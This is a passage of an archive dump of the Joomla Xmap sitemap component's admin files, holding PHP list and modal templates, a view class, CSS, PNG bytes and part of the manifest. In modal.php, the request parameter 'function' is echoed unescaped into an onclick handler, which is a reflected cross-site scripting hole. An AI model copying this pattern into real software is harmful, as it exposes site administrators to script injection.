    $load = 'index.php?option=com_xmap&amp;task=navigator-links&amp;sitemap='.$this->item->id.'&amp;e_name='.$name.(isset($node->id)?'&amp;Itemid='.$node->id:'').(isset($node->link)?'&amp;link='.urlencode($node->link):'').'&amp;tmpl=component';
?>
    <node text="<?php echo htmlentities($node->name); ?>" <?php echo ($node->expandible?" openicon=\"_open\" icon=\"_closed\" load=\"$load\"":' icon="_doc"'); ?> uid="<?php $node->uid; ?>" link="<?php echo str_replace(array('&amp;','&'),array('&','&amp;'),$node->link); ?>" selectable="<?php echo ($node->selectable?'true':'false'); ?>" />
<?php } ?>
</nodes>
com_xmap/views/sitemaps/tmpl/index.html000060400000000036152455305320014301 0ustar00<!DOCTYPE html><title></title>com_xmap/views/sitemaps/tmpl/default_legacy.php000060400000021765152455305320016001 0ustar00<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');

$n = count($this->items);

$baseUrl = JUri::root();

$version = new JVersion;

?>
<form action="<?php echo JRoute::_('index.php?option=com_xmap&view=sitemaps');?>" method="post" name="adminForm" id="adminForm">
    <fieldset class="filter clearfix">
        <div class="left">
            <label for="search">
                <?php echo JText::_('JSearch_Filter_Label'); ?>
            </label>
            <input type="text" name="filter_search" id="filter_search" value="<?php echo $this->state->get('filter.search'); ?>" size="60" title="<?php echo JText::_('Xmap_Filter_Search_Desc'); ?>" />

            <button type="submit">
                <?php echo JText::_('JSearch_Filter_Submit'); ?></button>
            <button type="button" onclick="$('filter_search').value='';this.form.submit();">
                <?php echo JText::_('JSearch_Filter_Clear'); ?></button>
        </div>

        <div class="right">
            <select name="filter_access" class="inputbox" onchange="this.form.submit()">
                <option value=""><?php echo JText::_('JOption_Select_Access');?></option>
                <?php echo JHtml::_('select.options', JHtml::_('access.assetgroups'), 'value', 'text', $this->state->get('filter.access'));?>
            </select>

            <select name="filter_published" class="inputbox" onchange="this.form.submit()">
                <option value=""><?php echo JText::_('JOption_Select_Published');?></option>
                <?php echo JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.published'), true);?>
            </select>

        </div>
    </fieldset>

    <table class="adminlist">
        <thead>
            <tr>
                <th width="20">
                    <input type="checkbox" name="toggle" value="" onclick="checkAll(this)" />
                </th>
                <th class="title">
                    <?php echo JHtml::_('grid.sort', 'Xmap_Heading_Sitemap', 'a.title', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                </th>
                <th width="5%">
                    <?php echo JHtml::_('grid.sort', 'Xmap_Heading_Published', 'a.state', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                </th>
                <th width="10%">
                    <?php echo JHtml::_('grid.sort',  'Xmap_Heading_Access', 'access_level', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                </th>
                <th width="10%" class="nowrap">
                    <?php echo JText::_('Xmap_Heading_Html_Stats'); ?><br />
                    (<?php echo JText::_('Xmap_Heading_Num_Links') . ' / '. JText::_('Xmap_Heading_Num_Hits') . ' / ' . JText::_('Xmap_Heading_Last_Visit'); ?>)
                </th>
                <th width="10%" class="nowrap">
                    <?php echo JText::_('Xmap_Heading_Xml_Stats'); ?><br />
                    <?php echo JText::_('Xmap_Heading_Num_Links') . '/'. JText::_('Xmap_Heading_Num_Hits') . '/' . JText::_('Xmap_Heading_Last_Visit'); ?>
                </th>
                <th width="1%" class="nowrap">
                    <?php echo JHtml::_('grid.sort', 'Xmap_Heading_ID', 'a.id', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                </th>
            </tr>
        </thead>
        <tfoot>
            <tr>
                <td colspan="15">
                    <?php echo $this->pagination->getListFooter(); ?>
                </td>
            </tr>
        </tfoot>
        <tbody>
        <?php foreach ($this->items as $i => $item) :

            $now = JFactory::getDate()->toUnix();
            if ( !$item->lastvisit_html ) {
                $htmlDate = JText::_('Date_Never');
            }elseif ( $item->lastvisit_html > ($now-3600)) { // Less than one hour
                $htmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_html)/60));
            } elseif ( $item->lastvisit_html > ($now-86400)) { // Less than one day
                $hours = intval (($now-$item->lastvisit_html)/3600 );
                $htmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_html)/60);
            } elseif ( $item->lastvisit_html > ($now-259200)) { // Less than three days
                $days = intval(($now-$item->lastvisit_html)/86400);
                $htmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_html)/3600));
            } else {
                $date = new JDate($item->lastvisit_html);
                $htmlDate = $date->format('Y-m-d H:i');
            }

            if ( !$item->lastvisit_xml ) {
                $xmlDate = JText::_('Date_Never');
            } elseif ( $item->lastvisit_xml > ($now-3600)) { // Less than one hour
                $xmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_xml)/60));
            } elseif ( $item->lastvisit_xml > ($now-86400)) { // Less than one day
                $hours = intval (($now-$item->lastvisit_xml)/3600 );
                $xmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_xml)/60);
            } elseif ( $item->lastvisit_xml > ($now-259200)) { // Less than three days
                $days = intval(($now-$item->lastvisit_xml)/86400);
                $xmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_xml)/3600));
            } else {
                $date = new JDate($item->lastvisit_xml);
                $xmlDate = $date->format('Y-m-d H:i');
            }

        ?>
            <tr class="row<?php echo $i % 2; ?>">
                <td class="center">
                    <?php echo JHtml::_('grid.id', $i, $item->id); ?>
                </td>
                <td>
                    <a href="<?php echo JRoute::_('index.php?option=com_xmap&task=sitemap.edit&id='.$item->id);?>">
                        <?php echo $this->escape($item->title); ?></a>
                        <?php if ($item->is_default == 1) : ?>
                            <?php if (version_compare($version->getShortVersion(), '3.0.0', '>=')): ?>
                                <span class="icon-featured"></span>
                            <?php else: ?>
                                <img src="templates/bluestork/images/menu/icon-16-default.png" alt="<?php echo JText::_('Default'); ?>" />
                            <?php endif; ?>
                        <?php endif; ?>
                            <?php if ($item->state): ?>
                                <small>[<a href="<?php echo $baseUrl. 'index.php?option=com_xmap&amp;view=xml&tmpl=component&id='.$item->id; ?>" target="_blank" title="<?php echo JText::_('XMAP_XML_LINK_TOOLTIP',true); ?>"><?php echo JText::_('XMAP_XML_LINK'); ?></a>]</small>
                                <small>[<a href="<?php echo $baseUrl. 'index.php?option=com_xmap&amp;view=xml&tmpl=component&news=1&id='.$item->id; ?>" target="_blank" title="<?php echo JText::_('XMAP_NEWS_LINK_TOOLTIP',true); ?>"><?php echo JText::_('XMAP_NEWS_LINK'); ?></a>]</small>
                                <small>[<a href="<?php echo $baseUrl. 'index.php?option=com_xmap&amp;view=xml&tmpl=component&images=1&id='.$item->id; ?>" target="_blank" title="<?php echo JText::_('XMAP_IMAGES_LINK_TOOLTIP',true); ?>"><?php echo JText::_('XMAP_IMAGES_LINK'); ?></a>]</small>
                            <?php endif; ?>
                                <br />
								<small>(<?php echo $this->escape($item->alias); ?>)</small>
                </td>
                <td class="center">
                    <?php echo JHtml::_('jgrid.published', $item->state, $i, 'sitemaps.'); ?>
                </td>
                <td class="center">
                    <?php echo $this->escape($item->access_level); ?>
                </td>
                <td class="center">
                    <?php echo $item->count_html .' / '.$item->views_html. ' / ' . $htmlDate; ?>
                </td>
                <td class="center">
                    <?php echo $item->count_xml .' / '.$item->views_xml. ' / ' . $xmlDate; ?>
                </td>
                <td class="center">
                    <?php echo (int) $item->id; ?>
                </td>
            </tr>
        <?php endforeach; ?>
        </tbody>
    </table>

    <input type="hidden" name="task" value="" />
    <input type="hidden" name="boxchecked" value="0" />
    <input type="hidden" name="filter_order" value="<?php echo $this->state->get('list.ordering'); ?>" />
    <input type="hidden" name="filter_order_Dir" value="<?php echo $this->state->get('list.direction'); ?>" />
    <?php echo JHtml::_('form.token'); ?>
</form>
com_xmap/views/sitemaps/tmpl/modal.php000060400000016577152455305320014132 0ustar00<?php
/**
 * @version             $Id$
 * @copyright            Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');

$function = JRequest::getVar('function', 'jSelectSitemap');
$n = count($this->items);
?>
<form action="<?php echo JRoute::_('index.php?option=com_xmap&view=sitemaps');?>" method="post" name="adminForm">
    <fieldset class="filter clearfix">
        <div class="left">
            <label for="search">
                <?php echo JText::_('JSearch_Filter_Label'); ?>
            </label>
            <input type="text" name="filter_search" id="filter_search" value="<?php echo $this->state->get('filter.search'); ?>" size="60" title="<?php echo JText::_('Xmap_Filter_Search_Desc'); ?>" />

            <button type="submit">
                <?php echo JText::_('JSearch_Filter_Submit'); ?></button>
            <button type="button" onclick="$('filter_search').value='';this.form.submit();">
                <?php echo JText::_('JSearch_Filter_Clear'); ?></button>
        </div>

        <div class="right">
            <select name="filter_access" class="inputbox" onchange="this.form.submit()">
                <option value=""><?php echo JText::_('JOption_Select_Access');?></option>
                <?php echo JHtml::_('select.options', JHtml::_('access.assetgroups'), 'value', 'text', $this->state->get('filter.access'));?>
            </select>

            <select name="filter_published" class="inputbox" onchange="this.form.submit()">
                <option value=""><?php echo JText::_('JOption_Select_Published');?></option>
                <?php echo JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.published'), true);?>
            </select>

        </div>
    </fieldset>

    <table class="adminlist">
        <thead>
            <tr>
                <th class="title">
                    <?php echo JHtml::_('grid.sort', 'Xmap_Heading_Sitemap', 'a.title', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                </th>
                <th width="5%">
                    <?php echo JHtml::_('grid.sort', 'Xmap_Heading_Published', 'a.state', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                </th>
                <th width="10%">
                    <?php echo JHtml::_('grid.sort',  'JGrid_Heading_Access', 'access_level', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                </th>
                <th width="10%" nowrap="nowrap">
                    <?php echo JText::_('Xmap_Heading_Html_Stats'); ?><br />
                    (<?php echo JText::_('Xmap_Heading_Num_Links') . ' / '. JText::_('Xmap_Heading_Num_Hits') . ' / ' . JText::_('Xmap_Heading_Last_Visit'); ?>)
                </th>
                <th width="10%" nowrap="nowrap">
                    <?php echo JText::_('Xmap_Heading_Xml_Stats'); ?><br />
                    <?php echo JText::_('Xmap_Heading_Num_Links') . '/'. JText::_('Xmap_Heading_Num_Hits') . '/' . JText::_('Xmap_Heading_Last_Visit'); ?>
                </th>
                <th width="1%" nowrap="nowrap">
                    <?php echo JHtml::_('grid.sort', 'JGrid_Heading_ID', 'a.id', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                </th>
            </tr>
        </thead>
        <tfoot>
            <tr>
                <td colspan="15">
                    <?php echo $this->pagination->getListFooter(); ?>
                </td>
            </tr>
        </tfoot>
        <tbody>
        <?php
        foreach ($this->items as $i => $item) :

            $now = JFactory::getDate()->toUnix();
            if ( !$item->lastvisit_html ) {
                $htmlDate = JText::_('Date_Never');
            }elseif ( $item->lastvisit_html > ($now-3600)) { // Less than one hour
                $htmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_html)/60));
            } elseif ( $item->lastvisit_html > ($now-86400)) { // Less than one day
                $hours = intval (($now-$item->lastvisit_html)/3600 );
                $htmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_html)/60);
            } elseif ( $item->lastvisit_html > ($now-259200)) { // Less than three days
                $days = intval(($now-$item->lastvisit_html)/86400);
                $htmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_html)/3600));
            } else {
                $date = new JDate($item->lastvisit_html);
                $htmlDate = $date->toFormat('%Y-%m-%d %H:%M');
            }

            if ( !$item->lastvisit_xml ) {
                $xmlDate = JText::_('Date_Never');
            } elseif ( $item->lastvisit_xml > ($now-3600)) { // Less than one hour
                $xmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_xml)/60));
            } elseif ( $item->lastvisit_xml > ($now-86400)) { // Less than one day
                $hours = intval (($now-$item->lastvisit_xml)/3600 );
                $xmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_xml)/60);
            } elseif ( $item->lastvisit_xml > ($now-259200)) { // Less than three days
                $days = intval(($now-$item->lastvisit_xml)/86400);
                $xmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_xml)/3600));
            } else {
                $date = new JDate($item->lastvisit_xml);
                $xmlDate = $date->toFormat('%Y-%m-%d %H:%M');
            }

        ?>
            <tr class="row<?php echo $i % 2; ?>">
                <td>
                    <a style="cursor: pointer;" onclick="if (window.parent) window.parent.<?php echo $function;?>('<?php echo $item->id; ?>', '<?php echo $this->escape($item->title); ?>');">
                        <?php echo $this->escape($item->title); ?></a>
                </td>
                <td align="center">
                    <?php echo JHtml::_('jgrid.published', $item->state, $i, 'sitemaps.'); ?>
                </td>
                <td align="center">
                    <?php echo $this->escape($item->access_level); ?>
                </td>
                <td class="center">
                    <?php echo $item->count_html .' / '.$item->views_html. ' / ' . $htmlDate; ?>
                </td>
                <td class="center">
                    <?php echo $item->count_xml .' / '.$item->views_xml. ' / ' . $xmlDate; ?>
                </td>
                <td align="center">
                    <?php echo (int) $item->id; ?>
                </td>
            </tr>
        <?php endforeach; ?>
        </tbody>
    </table>
    <input type="hidden" name="tmpl" value="component" />
    <input type="hidden" name="task" value="" />
    <input type="hidden" name="boxchecked" value="0" />
    <input type="hidden" name="filter_order" value="<?php echo $this->state->get('list.ordering'); ?>" />
    <input type="hidden" name="filter_order_Dir" value="<?php echo $this->state->get('list.direction'); ?>" />
    <?php echo JHtml::_('form.token'); ?>
</form>
com_xmap/views/sitemaps/tmpl/form.php000060400000000000152455305320013747 0ustar00com_xmap/views/sitemaps/tmpl/default.php000060400000022465152455305320014453 0ustar00<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('bootstrap.tooltip');
if(version_compare(JVERSION,'3.0.0','ge')) {
    JHtml::_('formbehavior.chosen', 'select');
}

$n = count($this->items);

$baseUrl = JUri::root();

$version = new JVersion;

?>
<form action="<?php echo JRoute::_('index.php?option=com_xmap&view=sitemaps');?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)): ?>
    <div id="j-sidebar-container" class="span2">
        <?php echo $this->sidebar; ?>
    </div>
    <div id="j-main-container" class="span10">
<?php else : ?>
    <div id="j-main-container">
<?php endif;?>
        <div id="filter-bar" class="btn-toolbar">
            <div class="filter-search btn-group pull-left">
                <input type="text" name="filter_search" id="filter_search" value="<?php echo $this->state->get('filter.search'); ?>" size="60" title="<?php echo JText::_('Xmap_Filter_Search_Desc'); ?>" />
            </div>

            <div class="btn-group pull-left hidden-phone">
                <button class="btn tip hasTooltip" type="submit" title="<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>"><i class="icon-search"></i></button>
                <button class="btn tip hasTooltip" type="button" onclick="document.id('filter_search').value='';this.form.submit();" title="<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?>"><i class="icon-remove"></i></button>
            </div>
        </div>

        <table class="adminlist table table-striped">
            <thead>
                <tr>
                    <th width="20">
                        <input type="checkbox" name="checkall-toggle" value="" title="<?php echo JText::_('JGLOBAL_CHECK_ALL'); ?>" onclick="if (typeof Joomla != 'undefined'){Joomla.checkAll(this)} else {checkAll(this)}" />
                    </th>
                    <th class="title">
                        <?php echo JHtml::_('grid.sort', 'Xmap_Heading_Sitemap', 'a.title', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                    </th>
                    <th width="5%">
                        <?php echo JHtml::_('grid.sort', 'Xmap_Heading_Published', 'a.state', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                    </th>
                    <th width="10%">
                        <?php echo JHtml::_('grid.sort',  'Xmap_Heading_Access', 'access_level', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                    </th>
                    <th width="10%" class="nowrap">
                        <?php echo JText::_('Xmap_Heading_Html_Stats'); ?><br />
                        (<?php echo JText::_('Xmap_Heading_Num_Links') . ' / '. JText::_('Xmap_Heading_Num_Hits') . ' / ' . JText::_('Xmap_Heading_Last_Visit'); ?>)
                    </th>
                    <th width="10%" class="nowrap">
                        <?php echo JText::_('Xmap_Heading_Xml_Stats'); ?><br />
                        <?php echo JText::_('Xmap_Heading_Num_Links') . '/'. JText::_('Xmap_Heading_Num_Hits') . '/' . JText::_('Xmap_Heading_Last_Visit'); ?>
                    </th>
                    <th width="1%" class="nowrap">
                        <?php echo JHtml::_('grid.sort', 'Xmap_Heading_ID', 'a.id', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                    </th>
                </tr>
            </thead>
            <tfoot>
                <tr>
                    <td colspan="15">
                        <?php echo $this->pagination->getListFooter(); ?>
                    </td>
                </tr>
            </tfoot>
            <tbody>
            <?php foreach ($this->items as $i => $item) :

                $now = JFactory::getDate()->toUnix();
                if ( !$item->lastvisit_html ) {
                    $htmlDate = JText::_('Date_Never');
                }elseif ( $item->lastvisit_html > ($now-3600)) { // Less than one hour
                    $htmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_html)/60));
                } elseif ( $item->lastvisit_html > ($now-86400)) { // Less than one day
                    $hours = intval (($now-$item->lastvisit_html)/3600 );
                    $htmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_html)/60);
                } elseif ( $item->lastvisit_html > ($now-259200)) { // Less than three days
                    $days = intval(($now-$item->lastvisit_html)/86400);
                    $htmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_html)/3600));
                } else {
                    $date = new JDate($item->lastvisit_html);
                    $htmlDate = $date->format('Y-m-d H:i');
                }

                if ( !$item->lastvisit_xml ) {
                    $xmlDate = JText::_('Date_Never');
                } elseif ( $item->lastvisit_xml > ($now-3600)) { // Less than one hour
                    $xmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_xml)/60));
                } elseif ( $item->lastvisit_xml > ($now-86400)) { // Less than one day
                    $hours = intval (($now-$item->lastvisit_xml)/3600 );
                    $xmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_xml)/60);
                } elseif ( $item->lastvisit_xml > ($now-259200)) { // Less than three days
                    $days = intval(($now-$item->lastvisit_xml)/86400);
                    $xmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_xml)/3600));
                } else {
                    $date = new JDate($item->lastvisit_xml);
                    $xmlDate = $date->format('Y-m-d H:i');
                }

            ?>
                <tr class="row<?php echo $i % 2; ?>">
                    <td class="center">
                        <?php echo JHtml::_('grid.id', $i, $item->id); ?>
                    </td>
                    <td>
                        <a href="<?php echo JRoute::_('index.php?option=com_xmap&task=sitemap.edit&id='.$item->id);?>">
                            <?php echo $this->escape($item->title); ?></a>
                            <?php if ($item->is_default == 1) : ?>
                                <?php if (version_compare($version->getShortVersion(), '3.0.0', '>=')): ?>
                                    <span class="icon-featured"></span>
                                <?php else: ?>
                                    <img src="templates/bluestork/images/menu/icon-16-default.png" alt="<?php echo JText::_('Default'); ?>" />
                                <?php endif; ?>
                            <?php endif; ?>
                                <?php if ($item->state): ?>
                                    <small>[<a href="<?php echo $baseUrl. 'index.php?option=com_xmap&amp;view=xml&tmpl=component&id='.$item->id; ?>" target="_blank" title="<?php echo JText::_('XMAP_XML_LINK_TOOLTIP',true); ?>"><?php echo JText::_('XMAP_XML_LINK'); ?></a>]</small>
                                    <small>[<a href="<?php echo $baseUrl. 'index.php?option=com_xmap&amp;view=xml&tmpl=component&news=1&id='.$item->id; ?>" target="_blank" title="<?php echo JText::_('XMAP_NEWS_LINK_TOOLTIP',true); ?>"><?php echo JText::_('XMAP_NEWS_LINK'); ?></a>]</small>
                                    <small>[<a href="<?php echo $baseUrl. 'index.php?option=com_xmap&amp;view=xml&tmpl=component&images=1&id='.$item->id; ?>" target="_blank" title="<?php echo JText::_('XMAP_IMAGES_LINK_TOOLTIP',true); ?>"><?php echo JText::_('XMAP_IMAGES_LINK'); ?></a>]</small>
                                <?php endif; ?>
                                     <br />
									 <small>(<?php echo $this->escape($item->alias); ?>)</small>
                    </td>
                    <td class="center">
                        <?php echo JHtml::_('jgrid.published', $item->state, $i, 'sitemaps.'); ?>
                    </td>
                    <td class="center">
                        <?php echo $this->escape($item->access_level); ?>
                    </td>
                    <td class="center">
                        <?php echo $item->count_html .' / '.$item->views_html. ' / ' . $htmlDate; ?>
                    </td>
                    <td class="center">
                        <?php echo $item->count_xml .' / '.$item->views_xml. ' / ' . $xmlDate; ?>
                    </td>
                    <td class="center">
                        <?php echo (int) $item->id; ?>
                    </td>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>

        <input type="hidden" name="task" value="" />
        <input type="hidden" name="boxchecked" value="0" />
        <input type="hidden" name="filter_order" value="<?php echo $this->state->get('list.ordering'); ?>" />
        <input type="hidden" name="filter_order_Dir" value="<?php echo $this->state->get('list.direction'); ?>" />
        <?php echo JHtml::_('form.token'); ?>
    </div>
</form>
com_xmap/views/sitemaps/view.html.php000060400000007327152455305320013770 0ustar00<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.view');

# For compatibility with older versions of Joola 2.5
if (!class_exists('JViewLegacy')){
    class JViewLegacy extends JView {

    }
}

/**
 * @package     Xmap
 * @subpackage  com_xmap
 * @since       2.0
 */
class XmapViewSitemaps extends JViewLegacy
{
    protected $state;
    protected $items;
    protected $pagination;

    /**
     * Display the view
     */
    public function display($tpl = null)
    {
        if ($this->getLayout() !== 'modal') {
            XmapHelper::addSubmenu('sitemaps');
        }

        $this->state      = $this->get('State');
        $this->items      = $this->get('Items');
        $this->pagination = $this->get('Pagination');

        $version = new JVersion;

        $message = $this->get('ExtensionsMessage');
        if ( $message ) {
            JFactory::getApplication()->enqueueMessage($message);
        }

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            JError::raiseError(500, implode("\n", $errors));
            return false;
        }

        // We don't need toolbar in the modal window.
        if ($this->getLayout() !== 'modal') {
            if (version_compare($version->getShortVersion(), '3.0.0', '<')) {
                $tpl = 'legacy';
            }
            $this->addToolbar();
        }

        parent::display($tpl);
    }

    /**
     * Display the toolbar
     *
     * @access      private
     */
    protected function addToolbar()
    {
        $state = $this->get('State');
        $doc = JFactory::getDocument();
        $version = new JVersion;

        JToolBarHelper::addNew('sitemap.add');
        JToolBarHelper::custom('sitemap.edit', 'edit.png', 'edit_f2.png', 'JTOOLBAR_EDIT', true);

        $doc->addStyleDeclaration('.icon-48-sitemap {background-image: url(components/com_xmap/images/sitemap-icon.png);}');
        JToolBarHelper::title(JText::_('XMAP_SITEMAPS_TITLE'), 'sitemap.png');
        JToolBarHelper::custom('sitemaps.publish', 'publish.png', 'publish_f2.png', 'JTOOLBAR_Publish', true);
        JToolBarHelper::custom('sitemaps.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);

        if (version_compare($version->getShortVersion(), '3.0.0', '>=')) {
            JToolBarHelper::custom('sitemaps.setdefault', 'featured.png', 'featured_f2.png', 'XMAP_TOOLBAR_SET_DEFAULT', true);
        } else {
            JToolBarHelper::custom('sitemaps.setdefault', 'default.png', 'default_f2.png', 'XMAP_TOOLBAR_SET_DEFAULT', true);
        }
        if ($state->get('filter.published') == -2) {
            JToolBarHelper::deleteList('', 'sitemaps.delete','JTOOLBAR_DELETE');
        }
        else {
            JToolBarHelper::trash('sitemaps.trash','JTOOLBAR_TRASH');
        }
        JToolBarHelper::divider();


        if (class_exists('JHtmlSidebar')){
            JHtmlSidebar::addFilter(
                JText::_('JOPTION_SELECT_PUBLISHED'),
                'filter_published',
                JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.published'), true)
            );

            JHtmlSidebar::addFilter(
                JText::_('JOPTION_SELECT_ACCESS'),
                'filter_access',
                JHtml::_('select.options', JHtml::_('access.assetgroups'), 'value', 'text', $this->state->get('filter.access'))
            );

            $this->sidebar = JHtmlSidebar::render();
        }
    }
}
com_xmap/views/sitemaps/index.html000060400000000036152455305320013325 0ustar00<!DOCTYPE html><title></title>com_xmap/css/index.html000060400000000036152455305320011133 0ustar00<!DOCTYPE html><title></title>com_xmap/css/xmap.css000060400000001055152455305320010617 0ustar00.xmap-menu-options {
    border-bottom: 1px solid #CCC;
    padding:10px;
}
.xmap-menu-options label {
    cursor:move;
}
.xmap-menu-options input, .xmap-menu-options select {
    margin: 5px 5px 2px 0px;
}
ul.ul_sortable {
    list-style:none;
    margin:0;
    padding:0;
}
ul.ul_sortable li {
    cursor:move;
    background-color: #eee;
    margin:5px;
    padding: 5px;
}
ul.ul_sortable li label.menu_label {
    font-weight: bold;
    display: inline-block;
    margin-bottom: 0px;
}
ul.ul_sortable input[type="checkbox"] {
    margin: 0 3px 0 3px;
}
com_xmap/images/xmap-favicon.png000060400000001450152455305320012712 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�IDATxڤS_HSQ�νww��]��ڒ�E5S�2�R�(����@�����z�=,��-�!,�/F�6����Z]��N�{w�m�}g��=z�9���~��;�0���f��a`v!Q�o��6gqI&���B@�4�AG�-1�~e�^�t�m��F�’تh:�3+
h���b6�p}��	i#*����/�ƃU�@8:
݁A ���Q m�5�Y��q��x��H)�Q2� ?�Dz�9��x��Q���!|���t2��V��c:��$���1��2��tvk�X��QX�_:��{\��dJ�������`hj*}���*l�hHM�{np��z[����œ��?$E�$�dE^����Yx�y�����Խ��_6U�У�1\r�n���A �f�
�%���eI��v��rj�88�~dYWC�_K)��ClI��<U�J�f�5�}����Ŕr%���o�!*G&�j'��<�t��s���95������*r"��UO��!��r`*w�k���f�;{�#-#�3^���=�s;����>z<�Z���;8i1��ND��:k�)�w?!)��{��L�>�뾡}߆�E�-)�-v�r_���<	Q~��+X�=��:ʗ>Yu��g�ˢz:��CV5�(�k>�G���{z�t9�@A�����
�"W�~�lO�4E}>��~��5Jȿ�-�IEND�B`�com_xmap/images/sitemap-icon.png000060400000000753152455305320012717 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�IDATx�b���?�PLC�z`��<~�����/��� ���Hw|����QD=��u-dy���RH#����9��ģ�Rl�ZAP�_v�h�,���Ih4	����
�,���Cέh$K#�]ʛϾRܨS��&�9�H�>��/�_��̶3Rc�U��Л��G3��.�~���oYt��-��*1y��<�@Z�"��쬚8�<rtX��A�L�B|�������o��g����sj!���0#Q�6��RRzr�T?����LLf����f'QC7����h�P�5TM[�����S��Yk���J[�D���Ę�����V�T����5.ȱ�b�0�X�#�%+Sڰ�����F=0R=��&K���0��5�h���G��/��FIEND�B`�com_xmap/images/index.html000060400000000036152455305320011610 0ustar00<!DOCTYPE html><title></title>com_xmap/elements/index.html000060400000000036152455305320012157 0ustar00<!DOCTYPE html><title></title>com_xmap/elements/sitemap.php000060400000001576152455305320012347 0ustar00<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */
 
// no direct access
defined('_JEXEC') or die;

class JElementSitemap extends JElement
{
    /**
     * Element name
     *
     * @var    string
     */
    var $_name = 'Sitemap';

    public function fetchElement($name, $value, &$node, $control_name)
    {
        global $mainframe;

        $db        = JFactory::getDBO();
        $fieldName = $control_name.'['.$name.']';
        
        $sql = "SELECT id, name from #__xmap_sitemap order by name";
        $db->setQuery($sql);
        $rows = $db->loadObjectList();

        $html = JHTML::_('select.genericlist',$rows,$fieldName,'','id','name',$value);

        return $html;
    }

}
com_xmap/xmap.xml000060400000007651152455305320010047 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension method="upgrade" version="1.5" type="component">
    <name>com_xmap</name>
    <creationDate>2013-11-10</creationDate>
    <author>Guillermo Vargas</author>
    <copyright>This component is released under the GNU/GPL License</copyright>
    <authorEmail>guille@vargas.co.cr</authorEmail>
    <authorUrl>http://www.jooxmap.com</authorUrl>
    <version>2.3.4</version>
    <license>GNU/GPL</license>
    <description>COM_XMAP_XML_DESC</description>
    <install folder="admin">
        <sql>
            <file driver="mysql" charset="utf8">install/install.utf8.sql</file>
            <file driver="postgresql" charset="utf8">install/install.postgresql.sql</file>
        </sql>
    </install>
    <uninstall>
        <sql>
